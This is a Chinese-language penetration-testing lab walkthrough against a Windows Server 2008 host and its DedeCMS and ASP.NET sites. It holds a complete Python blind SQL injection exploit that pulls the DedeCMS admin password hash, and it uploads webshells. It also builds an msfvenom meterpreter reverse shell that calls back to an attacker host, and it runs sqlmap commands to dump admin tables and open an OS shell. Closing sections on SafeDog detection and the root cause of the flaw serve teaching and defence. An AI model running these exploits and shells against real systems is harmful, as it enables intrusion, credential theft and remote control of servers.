网络拓扑图
kali的dns服务器地址也要设置为192.168.126.128
确保可以ping通
同一网段下存在另外一台主机为192.168.126.128
扫描结果可知开放了上述端口。
扫描结果:
nmap -sC -A -p 49154,21,6588,135,80,3389,53,999,49122 192.168.126.128 -oA targer1-port
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-13 08:04 EST
Nmap scan report for 192.168.126.128
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
135/tcp open msrpc Microsoft Windows RPC
999/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Microsoft-IIS/7.5
|_http-title: phpMyAdmin
3389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commOnName=WIN-KALKEMT3JMA
| Not valid before: 2021-12-12T08:10:45
|_Not valid after: 2022-06-13T08:10:45
|_ssl-date: 2021-12-13T13:05:41+00:00; 0s from scanner time.
6588/tcp open http Microsoft IIS httpd 7.5
| http-COOKIE-flags:
| /:
| ASPSESSIONIDCQSQCSAB:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: \xBB\xA4\xCE\xC0\xC9\xF1\xA1\xA4\xD6\xF7\xBB\xFA\xB4\xF3\xCA\xA6 V3.5.1 - \xC7\xB0\xCC\xA8\xB5\xC7\xC2\xBC
49122/tcp closed unknown
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1
Host script results:
|_nbstat: NetBIOS name: WIN-KALKEMT3JMA, NetBIOS user:
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.60 seconds
通过kali自带的字典进行爆破
子域名:
http://www.cc123.com
http://ww2.cc123.com
http://new.cc123.com
www.cc123.com
ww2.cc123.com
new.cc123.com
在信息收集中,子域名发现了这个子域名,我们访问进去之后,发现是个cms,logo还是织梦,那么必然是大名鼎鼎漏洞百出的dedecms了。
百度一搜,出现很多这个版本的漏洞。
可以访问,说明管理员没有修改后台路径。
说明会员中心路径也没有修改,根据网上的帖子,这个版本是存在会员中心注入漏洞的。我们先随便注册一个会员用户
注册成功
需要放在同一个目录之下
刷新页面找到COOKIE
PHPSESSID=fo6no56q6puprgch48q8jc3956; DedeUserID=5; DedeUserID__ckMd5=af34931e1d9c8fe4; DedeLoginTime=1639408657; DedeLoginTime__ckMd5=671d6a9517cf59f8
import sys,os
import urllib2
import time
opener = urllib2.build_opener()
def getCookes():
line = open(\'COOKIEs.txt\',\'r\')
c = line.readline()
line.close()
return c
COOKIE=getCookes()
opener.addheaders.append((\'COOKIE\',COOKIE))
payloads = \'abcdefghijklmnopqrstuvwxyz0123456789@_.\'
def exploite(target):
password = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a\'%20and%20`\'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=10)
now = time.strftime(\'%H:%M:%S\',time.localtime(time.time()))
if time.time() - start_time > 4.0:
password = password+p
print "["+str(now)+"]: "+s1+" -> "+password
except urllib2.URLError,e:
print e;
return password
def myhelp():
print "\n+------------------------------+"
print "| Dedecms 20150618 member sqli|"
print "| mOon www.moonsec.com |"
print "| MTEAM:[email protected] |"
print "+------------------------------+\n"
def main():
if len(sys.argv)<2:
myhelp()
sys.exit()
now = time.strftime(\'%H:%M:%S\',time.localtime(time.time()))
print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
print "password is %s" % (exploite(sys.argv[1]))
if __name__ == \'__main__\':
main()
注意:
在运行exp之前,需要在系统设置,添加一个分类。
得到了管理员账户的密文密码:
812df726be884ddcfc41
在线md5解密
https://www.somd5.com/
上传webshell
截止目前,我们获取了网站的shell,也就是webshell,但是我么只可以对网站进行一些操作,可以获取到的文件也较少。我们无法控制这台主机。如果想要获取注解的权限,还需要继续提权。
在我们获取到Webshell查看目录的时候,发现有一个文件夹是aspnet_client,说明网站支持asp的脚本。asp的权限功能要比php强大一些。
那么我们下一步上传一个asp马。
由于asp马过大,会在附件中给出。
输入admin密码,登录webshell。
可以执行cmd命令
既然可以执行cmd命令,那接下来的思路我们就可以在metasploit中生成一个shell,上传到受害主机上面,从而进行下一步操作。
反弹到本机
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.129 lport=12345 -f exe >s.exe
发现此目录不可写
上传一个检测可写目录的脚本文件wt.asp
浏览器访问此脚本文件
发现目录可写
c:\windows\debug\WIA\
将shell程序上传到这个目录
木马程序上传成功。
msfconsole
选择exploit/multi/handler模块
设置反弹监听的payload并执行
发现端口没弄对,重新设置一下,记得加l
运行之后,查看kali之中的会话session
发现已经连接上了目标服务器,查看一下ip地址:
详细信息:
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:47:0d:dc
MTU : 1500
IPv4 Address : 192.168.126.128
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::8c46:83d6:93f0:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 12
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:c0a8:7e80
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 13
============
Name : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:47:0d:e6
MTU : 1500
IPv4 Address : 10.10.10.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::90a:300d:f93e:7c89
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 14
============
Name : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a0a:a81
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::5efe:a9fe:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
查看一下当前的权限
background
use post/multi/recon/local_exploit_suggester
由于msf6在扫描的时候可能出了一些Bug,没有出来结果,通过另外一台老版本的kali,上面有msf5,重新上传木马,扫描一下,发现有以下漏洞可以利用。
可以查找到如下结果:
设置对应的端口和会话session
注意,aspx大马查看HwsHostMaster目录的时候没有权限,所以只能提权到系统权限之后访问。
访问网站,f12看一下响应头,发现是.net的后端。
这个网站全是伪静态页面,没有什么可测试的功能点。
使用目录扫描工具扫描一下网站目录,这里就随便找了一个御剑。
访问一下,有个后台的登录地址。
弱口令测试了admin,admin,123456,111111等,没试出来,放弃了,测一下SQL注入漏洞。
输入admin\' 123456
结果为
点击确定之后,又跳转到了登录页面,并且验证码也没有改变.
试着后面加注释,注释掉密码
结果成功登进来了后台
猜测其后台登录验证的SQL语句
select * from users username = \'admin\'--\' and password = \'123456\';
打开burpsuite,看一下后台的功能点,是否存在有?id等url的功能点,这样可以测试sql注入漏洞。
发现在新闻咨询这里,点进去资讯列表中的某一个咨询之后,会以get方式提交?id字段,可能存在注入。
将此数据包的请求复制下来,放到sqlmap里跑一下,看看是否存在sql注入漏洞。
GET /admin/newsadd.aspx?id=537&pid=27 HTTP/1.1
Host: ww2.cc123.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://ww2.cc123.com/admin/newslist.aspx?pid=27
COOKIE: ASP.NET_SessiOnId=2i0ppqscy1sa4jw3ug4lhq1v; CheckCode=0LF0; The Cool Site=lao=1
Upgrade-Insecure-Requests: 1
sqlmap测试
这里猜测,asp.net后端连接的数据库是mssql(microsoft sql server)
sqlmap -r sql.txt --dbms mssql -v 1 --batch
可知这里id字段存在注入。
sqlmap -r sql.txt --dbms mssql -v 1 --batch --dbs
sqlmap -r sql.txt --dbms mssql -v 1 --batch --current-db --current-user
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data --tables
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data -T admin --dump
sqlmap -r sql.txt --dbms mssql -v 1 --batch --os-shell
ipconfig
我们在信息收集的时候,是从192.168.126.128进入到了web服务器,获取到了系统权限之后,ipconfig
可以得知,这台服务器还有一个网卡,ip地址是10.10.10.129,而此时我们获得的数据库的os-shell,看到的IP地址是10.10.1.128,与10.10.10.129不在同一个网段,说明了这是一个数据库服务器,整个网站的架构是站库分离的。这样可以使得数据库更加安全。
在web服务器渗透测试的时候,上传了php木马,然后安全狗迅速告警,给管理员的邮箱发送了告警邮件。
可以看到,在日志记录当中,存在有我们用来反弹shell所上传的s.exe后门木马程序,这里的提示是TCP连接,远程连接到攻击机192.168.128.129(kali)的12345端口,所以通过审查日志也可以判断出是否存在后门程序。
可以看到,通过扫描端口的攻击和webshell的恶意脚本文件也被检测了出来。
web服务器管理员在服务器安装安全狗之后,无需频繁的到服务器去审查,在可视化的安全管理系统当中,即可看到当前服务器的安全状态。
攻击Dedecms的过程
通过这个模块可以直观的看到攻击的流程,随后即可对服务器进行安全加固。
之前我们配置了服务器安全狗,更多的是针对与主机整体的安全。我们还可以安装网站安全狗,加固我们网站的安全。
网站安全狗具有以下功能
通过防范一句话后门可以抵御黑客的攻击,但是黑客也可以通过一些手段进行绕过。
在真实的红蓝对抗环境中,还是需要不断的去加固我们的服务器和网站,通过各种方法来达到信息系统的安全目标!
dedecms20150618的漏洞分析
php gpc
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、COOKIE过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误
在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
由于 dedecms 使用伪全局变量原因,可导致用户构造任意的 sql 语句,造成注入。
漏洞利用流程:
完整的注入语句
http://192.168.110.135//dedefull/uploads/member/mtypes.php?
dopost=save&
_FILES[mtypename][name]=.xxxx&
_FILES[mtypename][type]=xxxxx&
_FILES[mtypename][tmp_name][1\' and &#039;.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 ),1,1)) like 54,5,0)),0)%23fuck]=1&
_FILES[mtypename][size]=.xxxx
关键理解的点:
.``.mtypeid
变量的传递过程
foreach ($mtypename as $id => $name)
{
$name = HtmlReplace($name);
$query = "UPDATE #@__mtypes SET mtypename=\'$name\' WHERE mtypeid=\'$id\' AND mid=\'$cfg_ml->M_ID\'";
$dsql->ExecuteNoneQuery($query);
}
该文件的最后部分为缺陷部分,$id 和 $name 都在查询语句中,但是全局过滤未对数组的key进行过滤,导致 $id 内可以带任何字符,所以我们在$id中构造语句。
由于 dedecms 是一个伪全局的 cms,我们需要把 $mtypename 覆盖出来,那么为什么用_FILE 传输组呢,整个 cms 在变量初始化的过程中,在 uploadsafe.inc.php 中,会预处理_FILE 传入的值,但是这段代码有问题。
foreach($FILES as $_key=>$_value)
{
foreach($keyarr as $k)
{
if(!isset($_FILES[$_key][$k]))
{
exit(\'Request Error!\');
}
}
if( preg_match(\'#^(cfg|GLOBALS)#\', $_key) )
{
exit(\'Request var not allow for uploadsafe!\');
}
$$_key = $_FILES[$_key][\'tmp_name\'];
${$_key.\'_name\'} = $_FILES[$_key][\'name\'];
${$_key.\'_type\'} = $_FILES[$_key][\'type\'] = preg_replace(\'#[^0-9a-z./]#i\', \'\', $_FILES[$_key][\'type\']);
${$_key.\'_size\'} = $_FILES[$_key][\'size\'] = preg_replace(\'#[^0-9]#\',\'\',$_FILES[$_key][\'size\']);
可以在倒数第四行看到一处变量覆盖,取 $_key 作为 key,$_FILES[$_key][‘tmp_name’] 作为 value。